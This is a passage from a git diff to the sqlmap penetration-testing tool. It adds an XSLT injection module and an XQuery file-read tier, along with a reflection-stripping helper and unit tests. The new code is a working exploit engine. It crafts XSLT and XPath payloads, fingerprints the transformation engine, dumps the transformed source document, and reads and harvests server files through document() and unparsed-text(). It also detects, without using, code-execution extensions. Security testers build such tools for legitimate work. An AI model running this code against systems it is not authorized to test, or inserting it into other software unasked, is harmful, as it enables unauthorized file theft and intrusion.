(slot.parameter, slot.place, title, slot.parameter, slot.payload)) + # An XQuery/XPath-2.0+ processor accepts the same boundary but a far larger language, so say so and + # use it: fn:unparsed-text() turns the proven boolean oracle into a file-read primitive. + isXQuery = _probeXQuery(oracle, builder) + if isXQuery: + logger.info("the back-end evaluates XQuery / XPath 2.0+ (fn:string-join, fn:matches, fn:unparsed-text are available)") + if slot.backend in (None, "Generic XPath"): + slot = slot._replace(backend="Generic XQuery / XPath 2.0+") + + title = "XQuery boolean-based blind" if isXQuery else "XPath boolean-based blind" + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: %s injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, "XQuery" if isXQuery else "XPath", title, slot.parameter, slot.payload)) + + if isXQuery: + # A confirmed XQuery back-end is exploited automatically, like every other non-SQL engine: the + # tree walk below is the data dump, and fn:unparsed-text() is the file-read impact. An explicit + # '--file-read' overrides the harvest and is honoured verbatim instead. + if conf.fileRead: + logger.info("reading file '%s' through fn:unparsed-text()" % conf.fileRead) + content = _xqueryFileRead(oracle, builder, conf.fileRead) + if content: + logger.info("XQuery file read succeeded (%d characters)" % len(content)) + _dumpFileRead(conf.fileRead, content) + else: + logger.warning("XQuery file read of '%s' failed" % conf.fileRead) + else: + # Readability is PROVED across the list for about one request per path, then a short + # prefix is sampled from the first hit. Extracting every file would cost thousands of + # bisection round-trips - impact is established by reading a file at all, not by volume. + logger.info("probing which files are readable through fn:unparsed-text()") + readable = [] + for path in XQUERY_FILE_HARVEST: + try: + if oracle.extract(builder.predicate("string-length(%s)>0" % (XQUERY_FILE_READ % _xpathQuote(path)))): + readable.append(path) + logger.info("'%s' is readable" % path) + except InconclusiveError: + break + if readable: + sample = _xqueryFileRead(oracle, builder, readable[0], quiet=True, maxLen=XQUERY_HARVEST_CHARS) + if sample: + logger.info("read the first %d characters of '%s'" % (len(sample), readable[0])) + _dumpFileRead(readable[0], sample) + conf.dumper.singleString("XQuery: readable through fn:unparsed-text():\n%s" + % "\n".join(" %s" % _ for _ in readable)) + logger.info("use '--file-read' to pull one of these in full") + else: + logger.info("no file could be read automatically through fn:unparsed-text()") + elif conf.fileRead: + logger.warning("'--file-read' needs an XQuery / XPath 2.0+ back-end; this one is XPath 1.0 only") # Blind XML tree-walking (attempted document-root traversal) logger.info("walking XML document tree (depth limit: %d)" % XPATH_MAX_DEPTH) diff --git a/lib/techniques/xslt/__init__.py b/lib/techniques/xslt/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/xslt/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/xslt/inject.py b/lib/techniques/xslt/inject.py new file mode 100644 index 00000000000..cc9ae9ba708 --- /dev/null +++ b/lib/techniques/xslt/inject.py @@ -0,0 +1,520 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +XSLT injection ('--xslt'). + +An application that builds a stylesheet by concatenating user input hands over a whole transformation +language, not just a value. The tiers are ordered by what each one PROVES, not by how spectacular it is: + + T1 system-property('xsl:vendor') the engine names itself in the response - a fingerprint, and the + strongest evidence that the input really is compiled as XSLT + T2 arbitrary XPath evaluated and reflected in-band + T3 malformed select parser error naming the engine (reaches targets with fixed output) + T4 document('file:///...') file read, plus unparsed-text() where the engine is XSLT 2.0+ + +Blind out-of-band (document('http://collector/')) is NOT implemented yet; it would reuse the collector +'--xxe' already has, but nothing here drives it, so a target with no in-band or error surface is out of +reach for now. + +The ELEMENT slot and the VALUE slot are different surfaces and are probed separately: input landing +between elements can introduce whole XSLT instructions, while input landing inside select="..." can only +carry an XPath expression. Nothing is inferred from a payload merely "looking like" it worked - every +tier is confirmed by a per-run random sentinel or by a value the application cannot produce by itself. + +Deliberately reported but NOT exploited: PHP registerPHPFunctions(), EXSLT exsl:document (file WRITE) and +saxon:eval. Those are RCE / write primitives and sit outside what this switch is for. +""" + +import re +import time +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import dataToOutFile +from lib.core.common import randomStr +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import XSLT_ERROR_REGEX +from lib.core.settings import XSLT_ERROR_SIGNATURES +from lib.core.settings import XSLT_MAX_FILE_LENGTH +from lib.core.settings import XSLT_MAX_HARVEST +from lib.core.settings import XSLT_XML_HARVEST +from lib.core.settings import XXE_FILE_HARVEST +from lib.core.settings import XSLT_RCE_PROBES +from lib.core.settings import XSLT_VENDOR_PROPERTIES +from lib.request.connect import Connect as Request + +SENTINEL = randomStr(length=10, lowercase=True) + +# The sentinel is emitted as TWO adjacent literals that only become one string once concat() actually +# runs. An application that merely echoes the parameter reflects "'ab','cd'" - quotes and comma intact - +# so the joined marker "abcd" never appears, while a real transform emits it. Without this the marker sits +# verbatim in the payload and any echo endpoint matches, which reported a plain search page as vulnerable +# and then "read" /etc/shadow out of its own reflected payload. +def _marks(): + half = len(SENTINEL) // 2 + return SENTINEL[:half], SENTINEL[half:] + +XSLT_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# Where the injected text lands inside the stylesheet. They need different payloads, so the probe order +# below tries the richer one first and falls back. +CONTEXT_ELEMENT = "element" # between elements: whole XSLT instructions can be introduced +CONTEXT_VALUE = "value" # inside an attribute value: an XPath expression only + +Slot = namedtuple("Slot", ("place", "parameter", "context", "vendor", "payload")) + + +def _delim(place): + return conf.paramDel or (';' if place == PLACE.COOKIE else '&') + + +def _originalValue(place, parameter): + for pair in (conf.parameters.get(place) or "").split(_delim(place)): + if '=' in pair: + name, _, value = pair.partition('=') + if name.strip() == parameter: + return value + return None + + +def _replaceSegment(place, parameter, value): + retVal = [] + for pair in (conf.parameters.get(place) or "").split(_delim(place)): + if '=' in pair: + name, _, old = pair.partition('=') + retVal.append("%s=%s" % (name, value if name.strip() == parameter else old)) + elif pair: + retVal.append(pair) + return _delim(place).join(retVal) + + +def _send(place, parameter, value): + """One request with the target parameter set to `value`, reusing sqlmap's request machinery so the + URL, cookies, headers, proxy and delay all behave exactly as in a normal run.""" + + if conf.delay: + time.sleep(conf.delay) + + saved = conf.parameters.get(place, "") + conf.parameters[place] = _replaceSegment(place, parameter, value) + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, _ = Request.getPage(raise404=False, silent=True) + return page + except Exception as ex: + logger.debug("XSLT probe request failed: %s" % getUnicode(ex)) + return None + finally: + conf.parameters[place] = saved + + +def _isError(page): + return bool(page) and re.search(XSLT_ERROR_REGEX, getUnicode(page)) is not None + + +def _vendorFromError(page): + for vendor, regex in XSLT_ERROR_SIGNATURES: + if re.search(regex, getUnicode(page or "")): + return vendor + return None + + +def _echoed(page, needle): + return bool(page) and needle in getUnicode(page) + + +def _valuePayload(expression): + """An XPath expression for the VALUE slot: the input already sits inside select="...", so only the + expression itself is injected.""" + return expression + + +# Conventional prefix for the XSLT namespace. A stylesheet must bind it to be a stylesheet at all; a +# sheet using a different prefix simply fails the element-slot probes and is found through the value slot. +_XSL_PREFIX = "xsl" + + +def _elementPayload(expression): + """A whole instruction for the ELEMENT slot. The stylesheet already binds the 'xsl' + prefix (it could not be a stylesheet otherwise), so the instruction compiles in place.""" + return '<%s:value-of select="%s"/>' % (_XSL_PREFIX, expression) + + +_BUILDERS = ((CONTEXT_ELEMENT, _elementPayload), (CONTEXT_VALUE, _valuePayload)) + + +def _concat(*parts): + """XPath 1.0 concat() over literals.""" + return "concat(%s)" % ",".join(parts) + + +def _wrap(expression): + """Wrap `expression` so its result arrives between two halves of the sentinel that only join when the + engine evaluates the concat (see _marks).""" + head, tail = _marks() + return _concat(_quote(head), _quote(tail), expression, _quote(head), _quote(tail)) + + +def _captured(page, payload, span="1,120"): + """The text an evaluated probe returned, or None. + + Two independent conditions must hold, because either alone has been shown to be forgeable: + 1. the page carries the JOINED sentinel, which only a real concat() can produce, and + 2. the page does NOT carry the raw injected expression - a compiled transform emits its RESULT, + never its source text, so seeing the expression back means the input was reflected, not run. + """ + + if not page: + return None + page = getUnicode(page) + if payload and getUnicode(payload) in page: + return None # reflected verbatim: nothing was evaluated + head, tail = _marks() + marker = re.escape(head + tail) + match = re.search(r"%s(.{%s}?)%s" % (marker, span, marker), page, re.DOTALL) + return match.group(1) if match else None + + +def _quote(value): + """XPath 1.0 string literal. The language has no escape character, so a value containing both quote + kinds has to be assembled with concat() - and an unquotable path must not be silently mangled into a + payload that means something else.""" + + value = getUnicode(value) + if "'" not in value: + return "'%s'" % value + if '"' not in value: + return '"%s"' % value + parts = [] + for index, chunk in enumerate(value.split("'")): + if index: + parts.append('"\'"') + if chunk: + parts.append("'%s'" % chunk) + return "concat(%s)" % ",".join(parts) + + +def _probeVendor(place, parameter, baseline): + """T1: ask the engine to name itself. A response carrying SENTINEL+vendor+SENTINEL cannot be produced + by an application that merely echoes the parameter - the vendor string is the engine's own.""" + + for context, build in _BUILDERS: + for prop in XSLT_VENDOR_PROPERTIES: + payload = build(_wrap("system-property(%s)" % _quote(prop))) + captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,120") + if captured is None: + continue + if captured.strip(): + return context, captured.strip(), payload + # An EMPTY capture between the joined halves still proves concat() ran (this engine simply + # leaves the property unset), so it confirms execution without naming a vendor. + return context, None, payload + return None, None, None + + +def _probeEval(place, parameter, baseline): + """T2: no vendor property came back, so prove evaluation with pure XPath arithmetic. The operands are + random per run, so the product exists nowhere in the application.""" + + a, b = randomStr(length=4, alphabet="123456789"), randomStr(length=4, alphabet="123456789") + expected = str(int(a) * int(b)) + for context, build in _BUILDERS: + payload = build(_wrap("string(%s * %s)" % (a, b))) + captured = _captured(page=_send(place, parameter, payload), payload=payload) + if captured is not None and captured.strip() == expected: + return context, payload, "%s*%s=%s" % (a, b, expected) + return None, None, None + + +def _stable(place, parameter, value): + """Send `value` twice and return the page only when both answers agree - a one-off difference is + noise, and detection built on noise is how a scanner invents findings.""" + + first = _send(place, parameter, value) + if first is None: + return None + second = _send(place, parameter, value) + if second is None: + return None + return first if getUnicode(first) == getUnicode(second) else None + + +def _probeCompile(place, parameter, baseline): + """T3: prove the input is COMPILED as part of the stylesheet, for targets that reflect nothing. + + The two slots are told apart by what breaks them, which is a property of XSLT rather than a guess: + inside select="..." a bare apostrophe leaves an unterminated literal and the stylesheet fails to + compile, whereas between elements the very same apostrophe is ordinary text and changes nothing. So a + bare quote that breaks the page means the VALUE slot; a slot that only breaks on a malformed + is the ELEMENT slot. + + 'Breaks' is satisfied either by a parser error (which also names the engine) or - where the + application swallows errors - by a reproducible difference from the untouched baseline. The latter is + the only tier that reaches a target with fixed output and no error surface.""" + + if baseline is None or _isError(baseline): + return None, None, None # no usable reference to compare against + + # `or "x"` would replace an intentionally EMPTY parameter with a value it never had, so the + # baseline would not be the application's own + original = _originalValue(place, parameter) + original = "x" if original is None else original + + # For BOTH slots the 'valid' form has to be one that leaves the page identical to the baseline. Using + # an instruction that EMITS a sentinel for the element slot made that condition unsatisfiable on every + # engine (a real one prints the sentinel, an echo reflects the instruction), so the whole element + # branch was unreachable and element slots with swallowed errors were silently missed. + for context, valid, broken, xpathy in ( + (CONTEXT_VALUE, original, "%s'" % original, "concat(%s,'')" % original), + (CONTEXT_ELEMENT, original, '<%s:value-of select="\'"/>' % _XSL_PREFIX, + _elementPayload("substring('',1,0)")), + ): + brokenPage = _stable(place, parameter, broken) + if brokenPage is None: + continue + + if _isError(brokenPage): + return context, _vendorFromError(brokenPage) or "Generic XSLT", broken + + # No error surface, so the DIFFERENCE is the only signal - and a difference alone proves nothing + # about XSLT. Any parser breaks on a stray apostrophe: a SQL string, an XQuery predicate, a shell + # word. Three conditions have to hold together before this counts: + # 1. the broken form changes the page, + # 2. the untouched form reproduces the baseline (so the parameter is not simply volatile), + # 3. an XPath FUNCTION CALL is accepted and behaves like the baseline - which a SQL or XQuery + # string context cannot do, because there the same text is just a literal that matches + # nothing and changes the page. + # Without (3) this tier would report XSLT injection on every quote-sensitive parameter. + if getUnicode(brokenPage) == getUnicode(baseline): + continue + validPage = _stable(place, parameter, valid) + if validPage is None or getUnicode(validPage) != getUnicode(baseline): + continue + if xpathy is not None: + xpathyPage = _stable(place, parameter, xpathy) + if xpathyPage is None or getUnicode(xpathyPage) != getUnicode(baseline): + continue + return context, "Generic XSLT", broken + + return None, None, None + + +def _readFile(place, parameter, context, path, readers=("unparsed-text", "document")): + """T4: read a text file. document() parses its target as XML, so a non-XML file only surfaces through + unparsed-text() (XSLT 2.0+). Both are tried by default and whichever returns content wins.""" + + build = dict(_BUILDERS)[context] + uri = path if "://" in path else "file:///%s" % getText(path).replace("\\", "/").lstrip("/") + + candidates = [_ for _ in (("unparsed-text", "unparsed-text(%s)" % _quote(uri)), + ("document", "string(document(%s))" % _quote(uri))) if _[0] in readers] + for _reader, expression in candidates: + payload = build(_wrap(expression)) + captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH) + if captured and captured.strip(): + return captured[:XSLT_MAX_FILE_LENGTH], expression + return None, None + + +def _dumpSourceDocument(place, parameter, context): + """Exfiltrate the XML document the stylesheet is transforming - the XSLT-native equivalent of the + 'dump' the other non-SQL engines perform automatically. serialises the whole + input tree, which is the actual application data the transformation was built to render.""" + + if context != CONTEXT_ELEMENT: + return None # a value slot can only carry an expression, and copy-of is an instruction + + # copy-of is an instruction, not an expression, so the sentinel cannot be split through concat here. + # The reflection guard in _captured() is what keeps an echo endpoint from handing back its own + # text as if it were the transformed document. + head, tail = _marks() + payload = "%s%s<%s:copy-of select=\"/\"/>%s%s" % (head, tail, _XSL_PREFIX, head, tail) + captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH) + if captured and captured.strip() and "copy-of" not in captured: + return captured.strip()[:XSLT_MAX_FILE_LENGTH] + return None + + +def _harvestFiles(place, parameter, context): + """Proactive, best-effort file harvest once the injection is CONFIRMED, the way the other non-SQL + engines auto-dump what they can reach: a user who reaches for '--xslt' should not have to know that + '--file-read' exists to see impact. + + Two reader primitives, because they cover different engines: unparsed-text() takes any text file but + needs XSLT 2.0+, while document() works on 1.0 (most of the installed base) yet only loads well-formed + XML. Content is de-duplicated so an engine that resolves every missing path to the same stub cannot + masquerade as many distinct reads. Bounded by XSLT_MAX_HARVEST.""" + + harvested = [] + seen = set() + for reader, paths in (("unparsed-text", XXE_FILE_HARVEST), ("document", XSLT_XML_HARVEST)): + for path in paths: + if len(harvested) >= XSLT_MAX_HARVEST: + return harvested + content, how = _readFile(place, parameter, context, path, readers=(reader,)) + if not (content and content.strip()): + continue + key = content.strip() + if key in seen: + continue + seen.add(key) + harvested.append((path, content, how)) + return harvested + + +def _probeRce(place, parameter, context): + """Report - never invoke - the extension primitives that would turn this into code execution. Their + mere availability is the finding; exercising them is out of scope for this switch.""" + + build = dict(_BUILDERS)[context] + retVal = [] + for label, expression in XSLT_RCE_PROBES: + payload = build(_wrap(expression)) + captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,40") + # function-available() answers the STRING 'true'/'false', so a non-empty capture is not a hit - + # only an explicit true is. Reporting on non-empty would flag every engine as exploitable. + if captured is not None and captured.strip().lower() == "true": + retVal.append(label) + return retVal + + +def _dumpFileRead(remoteFile, content): + try: + localPath = dataToOutFile(remoteFile, getBytes(content)) + except Exception as ex: + logger.debug("could not save the XSLT-read file to disk: %s" % getUnicode(ex)) + localPath = None + if localPath: + conf.dumper.rFile([localPath]) + else: + conf.dumper.singleString("XSLT file read ('%s'):\n%s" % (remoteFile, content)) + + +def _report(slot, title, extra=None): + lines = ["---", "Parameter: %s (%s)" % (slot.parameter, slot.place), + " Type: XSLT injection", " Title: %s" % title, + " Payload: %s=%s" % (slot.parameter, slot.payload)] + if slot.vendor: + lines.append(" Engine: %s" % slot.vendor) + for line in (extra or []): + lines.append(" %s" % line) + lines.append("---") + conf.dumper.singleString("\n".join(lines)) + + +def xsltScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + debugMsg = "'--xslt' is self-contained: it detects XSLT injection in HTTP parameters, fingerprints " + debugMsg += "the transformation engine and reads files through it. SQL enumeration switches " + debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) are ignored" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = found = 0 + + for place in (_ for _ in XSLT_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing XSLT injection on %s parameter '%s'" % (place, parameter)) + + _orig = _originalValue(place, parameter) + baseline = _send(place, parameter, "x" if _orig is None else _orig) + + context, vendor, payload = _probeVendor(place, parameter, baseline) + title = "XSLT in-band (engine fingerprint)" + detail = None + + if context is None: + context, payload, detail = _probeEval(place, parameter, baseline) + title = "XSLT in-band (arithmetic evaluation)" + vendor = None + + if context is None: + context, vendor, payload = _probeCompile(place, parameter, baseline) + title = "XSLT compile-differential (no reflection)" + detail = None + + if context is None: + continue + + found += 1 + if conf.beep: + beep() + + vendor = vendor or _vendorFromError(baseline) or "Generic XSLT" + slot = Slot(place=place, parameter=parameter, context=context, vendor=vendor, payload=payload) + logger.info("%s parameter '%s' is vulnerable to XSLT injection (engine: '%s', %s context)" + % (place, parameter, vendor, context)) + + extra = [] + if detail: + extra.append("Proof: the engine computed %s" % detail) + + rce = _probeRce(place, parameter, context) + if rce: + extra.append("Extensions available (NOT exercised): %s" % ", ".join(rce)) + logger.warning("the engine exposes %s - this injection can reach code execution; " + "'--xslt' reports it but does not use it" % ", ".join(rce)) + + _report(slot, title, extra) + + # A confirmed finding is exploited automatically, like every other non-SQL switch: whoever + # reaches for '--xslt' should not need to know that '--file-read' exists to see impact. An + # explicit '--file-read' overrides the harvest and is honoured verbatim instead. + if conf.fileRead: + logger.info("reading file '%s' through the XSLT engine" % conf.fileRead) + content, how = _readFile(place, parameter, context, conf.fileRead) + if content: + logger.info("XSLT file read succeeded via %s (%d characters)" % (how, len(content))) + if how.startswith("string(document("): + logger.warning("document() parses its target as XML, so this is the file's TEXT " + "CONTENT rather than its raw bytes") + _dumpFileRead(conf.fileRead, content) + else: + logger.warning("XSLT file read of '%s' failed. document() only reads well-formed XML, " + "and unparsed-text() needs an XSLT 2.0+ engine (this one reports '%s')" + % (conf.fileRead, vendor)) + else: + source = _dumpSourceDocument(place, parameter, context) + if source: + logger.info("dumping the XML document the stylesheet transforms (%d characters)" % len(source)) + conf.dumper.singleString("XSLT: %s parameter '%s' source document\n%s" % (place, parameter, source)) + + logger.info("harvesting reachable files through the XSLT engine") + harvested = _harvestFiles(place, parameter, context) + for path, content, how in harvested: + logger.info("read '%s' via %s (%d characters)" % (path, how, len(content))) + _dumpFileRead(path, content) + if not harvested: + logger.info("no file could be read automatically (document() needs well-formed XML and " + "unparsed-text() needs an XSLT 2.0+ engine)") + if source or harvested: + logger.info("use '--file-read' to target one specific file instead of this harvest") + + if not found: + if tested: + logger.warning("no parameter appears to be injectable via XSLT injection (%d tested)" % tested) + else: + logger.warning("no parameters found to test for XSLT injection") + + logger.info("XSLT scan complete") diff --git a/lib/utils/nonsql.py b/lib/utils/nonsql.py index 23e38d3638b..5bab6ae756e 100644 --- a/lib/utils/nonsql.py +++ b/lib/utils/nonsql.py @@ -14,7 +14,11 @@ import difflib import re +from lib.core.common import urldecode +from lib.core.common import urlencode +from lib.core.convert import getUnicode from lib.core.data import conf +from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import UPPER_RATIO_BOUND from lib.parse.html import htmlParser @@ -38,6 +42,42 @@ def ratio(first, second): return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() +def stripReflection(page, payload): + """ + Remove the payload from the page before any two responses are compared. + + An endpoint that merely ECHOES the parameter returns a different page for every different payload, so + a true/false differential is satisfied without a single expression, filter or operator ever being + interpreted. That is not injection, and it is how plain reflective search pages were reported as + XPath / LDAP / NoSQL injectable. + + Deliberately NOT lib.core.common.removeReflectiveValues: that one is a scan-wide heuristic which + switches ITSELF OFF after REFLECTIVE_MISS_THRESHOLD misses, after a regex timeout, and during + heuristic mode - so a detection guard built on it silently stops guarding mid-scan. This is a plain, + deterministic substring removal with no global state and no failure mode. The two are complementary, + and the engines apply both. + + The raw, URL-decoded and URL-encoded forms are all removed: a payload travels encoded, and an + application may echo whichever of the three it happened to hold. + """ + + if not page or not payload: + return page + + retVal = getUnicode(page) + forms = set() + for form in (payload, urldecode(payload, convall=True), urlencode(payload, safe="")): + try: + forms.add(getUnicode(form)) + except Exception: + pass + # longest first, so a shorter form cannot chop a longer one into unremovable pieces + for form in sorted(filter(None, forms), key=len, reverse=True): + if form in retVal: + retVal = retVal.replace(form, REFLECTED_VALUE_MARKER) + return retVal + + def blockedStatus(code): """True when an HTTP status means the response is blocked/errored (a 5xx, or a WAF/rate-limit 403/429) and so is not a usable oracle sample. `_send()` implementations return None for these diff --git a/tests/test_reflection.py b/tests/test_reflection.py new file mode 100644 index 00000000000..28c741d397e --- /dev/null +++ b/tests/test_reflection.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Adversarial coverage for reflection removal. + +Two independent mechanisms exist and the non-SQL engines rely on BOTH: + + lib.core.common.removeReflectiveValues - the scan-wide heuristic. Powerful (it reassembles a payload + that the page broke apart) but it has global state and + SWITCHES ITSELF OFF: after REFLECTIVE_MISS_THRESHOLD misses, + after a regex timeout, and during heuristic mode. + lib.utils.nonsql.stripReflection - a plain deterministic removal with no global state, added + precisely because a detection guard must not stop guarding + halfway through a scan. + +The tests below pin the behaviour of each, and - more importantly - pin the blind spots of the first one, +so nobody builds another guard on it without knowing where it does nothing. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import removeReflectiveValues +from lib.core.data import kb +from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.settings import REFLECTIVE_MISS_THRESHOLD +from lib.utils.nonsql import stripReflection + +PAYLOAD = u"x') or true() or ('" + + +def _reset(): + kb.reflectiveMechanism = True + kb.heuristicMode = False + kb.reflectiveCounters = {"HIT": 0, "MISS": 0} + + +def _removed(content, payload): + out = removeReflectiveValues(content, payload, suppressWarning=True) + return out != content and REFLECTED_VALUE_MARKER in (out or "") + + +class RemoveReflectiveValuesTest(unittest.TestCase): + def setUp(self): + _reset() + + def test_plain_reflection_is_removed(self): + self.assertTrue(_removed(u"you searched for: %s" % PAYLOAD, PAYLOAD)) + + def test_reflection_survives_case_change(self): + self.assertTrue(_removed(u"YOU SEARCHED FOR: %s" % PAYLOAD.upper(), PAYLOAD)) + + def test_reflection_split_by_markup_is_removed(self): + """The heuristic's real strength: it reassembles a payload the page broke apart.""" + self.assertTrue(_removed(u"search: x') or true() or ('", PAYLOAD)) + + def test_html_encoded_reflection_is_removed(self): + self.assertTrue(_removed(u"you searched for: x') or true() or ('", PAYLOAD)) + + def test_absent_payload_leaves_content_untouched(self): + content = u"nothing to see here" + self.assertEqual(removeReflectiveValues(content, PAYLOAD, suppressWarning=True), content) + + def test_empty_inputs_are_safe(self): + self.assertEqual(removeReflectiveValues(None, PAYLOAD), None) + self.assertEqual(removeReflectiveValues(u"abc", None), u"abc") + self.assertEqual(removeReflectiveValues(u"", u""), u"") + + def test_word_only_payload_cannot_explode_the_page(self): + """A payload of pure word characters yields an empty needle; replacing on it would insert the + marker between every character.""" + out = removeReflectiveValues(u"aaa bbb aaa", u"aaa", suppressWarning=True) + self.assertNotIn("%s%s" % (REFLECTED_VALUE_MARKER, REFLECTED_VALUE_MARKER), out or "") + + +class RemoveReflectiveValuesBlindSpotTest(unittest.TestCase): + """These document where the scan-wide heuristic does NOTHING. They are the reason a second, + deterministic guard exists - not bugs to be 'fixed' here.""" + + def setUp(self): + _reset() + + def test_blind_spot_purely_alphanumeric_payload(self): + """filterStringValue() leaves such a payload unchanged, so the whole routine short-circuits.""" + self.assertFalse(_removed(u"you searched for: abcdefghij", u"abcdefghij")) + + def test_blind_spot_bytes_content(self): + """It requires text. A byte string is returned untouched - identical behaviour on py2 and py3, + and the reason every caller must hand it a decoded page.""" + self.assertFalse(_removed(b"you searched for: x", u"x")) + + def test_blind_spot_disabled_mechanism(self): + """It disables itself on a regex timeout and after REFLECTIVE_MISS_THRESHOLD misses.""" + kb.reflectiveMechanism = False + self.assertFalse(_removed(u"you searched for: %s" % PAYLOAD, PAYLOAD)) + + def test_blind_spot_heuristic_mode(self): + kb.heuristicMode = True + self.assertFalse(_removed("you searched for: %s" % PAYLOAD, PAYLOAD)) + + def test_miss_threshold_is_finite(self): + """A guard built only on this stops guarding after this many non-reflective responses.""" + self.assertTrue(0 < REFLECTIVE_MISS_THRESHOLD < 1000) + + +class StripReflectionTest(unittest.TestCase): + """The deterministic guard: no global state, no timeout, no self-disabling.""" + + def setUp(self): + _reset() + + def test_removes_the_payload(self): + out = stripReflection(u"you searched for: %s" % PAYLOAD, PAYLOAD) + self.assertNotIn(PAYLOAD, out) + self.assertIn(REFLECTED_VALUE_MARKER, out) + + def test_removes_the_url_encoded_form(self): + out = stripReflection(u"you searched for: x%27%29%20or%20true%28%29", u"x') or true()") + self.assertIn(REFLECTED_VALUE_MARKER, out) + + def test_two_different_payloads_collapse_to_the_same_page(self): + """This is the whole point: a pure echo endpoint must stop looking like a boolean oracle.""" + true_page = stripReflection(u"you searched for: x') or true() or ('", u"x') or true() or ('") + false_page = stripReflection(u"you searched for: x') and false() and ('", u"x') and false() and ('") + self.assertEqual(true_page, false_page) + + def test_a_real_differential_is_preserved(self): + """A genuine oracle differs in the APPLICATION's output, not in the echoed payload, so stripping + must not erase it.""" + true_page = stripReflection(u"results: luther, fluffy, wu [%s]" % PAYLOAD, PAYLOAD) + false_page = stripReflection(u"results: none [%s]" % PAYLOAD, PAYLOAD) + self.assertNotEqual(true_page, false_page) + + def test_does_not_depend_on_global_state(self): + kb.reflectiveMechanism = False + kb.heuristicMode = True + kb.reflectiveCounters = {"HIT": 0, "MISS": REFLECTIVE_MISS_THRESHOLD * 10} + self.assertIn(REFLECTED_VALUE_MARKER, stripReflection(u"echo: %s" % PAYLOAD, PAYLOAD)) + + def test_covers_the_alphanumeric_blind_spot(self): + self.assertIn(REFLECTED_VALUE_MARKER, stripReflection(u"you searched for: abcdefghij", u"abcdefghij")) + + def test_empty_and_missing_inputs_are_safe(self): + self.assertEqual(stripReflection(None, PAYLOAD), None) + self.assertEqual(stripReflection(u"abc", None), u"abc") + self.assertEqual(stripReflection(u"abc", u""), u"abc") + self.assertEqual(stripReflection(u"", PAYLOAD), u"") + + def test_absent_payload_leaves_content_identical(self): + content = u"nothing to see here" + self.assertEqual(stripReflection(content, PAYLOAD), content) + + def test_every_occurrence_is_removed(self): + out = stripReflection(u"%s middle %s" % (PAYLOAD, PAYLOAD), PAYLOAD) + self.assertNotIn(PAYLOAD, out) + self.assertEqual(out.count(REFLECTED_VALUE_MARKER), 2) + + +class EnginesUseBothGuardsTest(unittest.TestCase): + """Pins the wiring. A guard that only one engine applies is how this class of false positive spread + across three shipped engines unnoticed.""" + + def _source(self, *parts): + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", *parts)) as f: + return f.read() + + def test_reflective_engines_apply_both(self): + for engine in ("xpath", "ldap", "nosql"): + source = self._source("lib", "techniques", engine, "inject.py") + self.assertIn("removeReflectiveValues", source, engine) + self.assertIn("stripReflection", source, engine) + + def test_xslt_proves_evaluation_instead(self): + """--xslt needs no reflection filter: its sentinel only exists once concat() has run, so an echo + can never satisfy it. That is the stronger design.""" + source = self._source("lib", "techniques", "xslt", "inject.py") + self.assertIn("def _captured", source) + self.assertIn("reflected verbatim", source) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_xslt.py b/tests/test_xslt.py new file mode 100644 index 00000000000..20e7645b8df --- /dev/null +++ b/tests/test_xslt.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Coverage for the XSLT injection engine (lib/techniques/xslt/inject.py) and the XQuery tier the XPath +engine gained (lib/techniques/xpath/inject.py). + +Network-free: the payload builders, engine fingerprinting and charset construction are pure functions, so +they are asserted directly. The parts that decide a VERDICT get the most attention - a detection tier that +rests on "the page changed" is exactly the kind that invents findings, so its guards are pinned here. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.settings import XSLT_ERROR_REGEX +from lib.core.settings import XSLT_RCE_PROBES +from lib.core.settings import XSLT_VENDOR_PROPERTIES +from lib.core.settings import XQUERY_CAPABILITY_PROBES +from lib.core.settings import XQUERY_FILE_READ +from lib.techniques.xslt import inject as _xslt +from lib.techniques.xpath import inject as _xpath + + +def _source(*parts): + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", *parts)) as f: + return f.read() + + +class 